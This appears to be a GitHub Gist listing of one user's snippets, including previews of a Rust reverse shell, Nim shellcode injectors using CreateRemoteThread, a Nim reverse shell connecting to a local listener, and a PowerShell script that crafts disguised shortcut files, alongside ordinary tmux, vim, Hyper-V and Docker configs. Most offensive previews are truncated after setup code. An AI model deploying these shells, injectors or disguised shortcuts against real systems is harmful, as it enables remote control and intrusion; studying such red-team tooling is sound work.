Skip to content

Instantly share code, notes, and snippets.

@mttaggart
mttaggart / rust-rev.rs
Created January 13, 2022 03:41
Rust Reverse Shell
use std::{
net::{TcpStream},
io::{Write, BufReader, BufWriter, BufRead},
process::Command
};
fn handle_client(stream: TcpStream) {
println!("Connection from {}", stream.peer_addr().unwrap());
// Create BufReader and BufWriter for easy work
let mut stream_write = BufWriter::new(
@mttaggart
mttaggart / nimjector.nim
Created December 21, 2021 04:07
NimShellCodeInjector
# With special thanks to byt3bl33d3r for Offensive Nim!
import winim/lean
import osproc
import base64
import sequtils
import strutils
import strformat
import httpclient
@mttaggart
mttaggart / hyperv-portforward.ps1
Created December 13, 2021 23:34
Hyper-V Port Forwarding
New-VMSwitch -SwitchName "NATSwitch" -SwitchType Internal
New-NetIPAddress -IPAddress 192.168.10.1 -PrefixLength 24 -InterfaceAlias "vEthernet (NATSwitch)"
New-NetNAT -Name "NATNetwork" -InternalIPInterfaceAddressPrefix 192.168.10.0/24
# Make sure target VM has an interfaces on the new switch
Add-NetNatStaticMapping -ExternalIPAddress "0.0.0.0/24" -ExternalPort 22 -Protocol TCP -InternalIPAddress "192.168.10.2" -InternalPort 22 -NatName NATNetwork
@mttaggart
mttaggart / make-lnk.ps1
Last active September 23, 2023 20:15
make-lnk.ps1
param ( [string]$SourceExe, [string]$DestinationPath, [string]$IconPath)
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut($DestinationPath)
$Shortcut.RelativePath = "..\..\..\..\..\..\..\..\..\$SourceExe"
$Shortcut.IconLocation = $IconPath
$Shortcut.TargetPath = $SourceExe
$Shortcut.Save()
@mttaggart
mttaggart / nimterpreter.nim
Created September 30, 2021 15:07
A simple PoC for obfuscating shellcode in Nim
# With special thanks to byt3bl33d3r for Offensive Nim!
import winim/lean
import osproc
import base64
import sequtils
import strutils
proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =
let tProcess = startProcess("notepad.exe")
@mttaggart
mttaggart / nimrs.nim
Last active July 6, 2023 00:30
A simple reverse shell written in Nim
import net
import osproc
import strformat
# Create Socket
let port = 9999
let address = "127.0.0.1"
let sock = newSocket()
# Connect to listener
@mttaggart
mttaggart / tmux.conf
Last active November 9, 2022 17:12
Tmux conf
# List of plugins
set -g @plugin 'tmux-plugins/tpm'
set -g @plugin 'tmux-plugins/tmux-sensible'
set -g @plugin 'tmux-plugins/tmux-resurrect'
set -g @plugin 'tmux-plugins/tmux-yank'
set -g @plugin 'dracula/tmux'
# available plugins: battery, cpu-usage, gpu-usage, ram-usage, network, network-bandwith, weather, time
set -g @dracula-plugins "cpu-usage ram-usage time"
set -g @dracula-show-powerline true
set -g @dracula-show-left-icon λ
@mttaggart
mttaggart / docker-compose.yml
Created June 21, 2019 05:14
Docker Compose for everLive Docker: 8
version: "3.7"
services:
web:
image: nginx:latest
deploy:
replicas: 2
networks:
- blog-net
ports:
- 80:80
@mttaggart
mttaggart / .vimrc
Last active January 30, 2023 14:21
Vimrc
set nu
set wrap linebreak nolist
set clipboard=unnamedplus
set tabstop=4 softtabstop=0 expandtab shiftwidth=4 smarttab
set encoding=utf-8
" Specify a directory for plugins
" - For Neovim: ~/.local/share/nvim/plugged
" - Avoid using standard Vim directory names like 'plugin'
call plug#begin('~/.vim/plugged')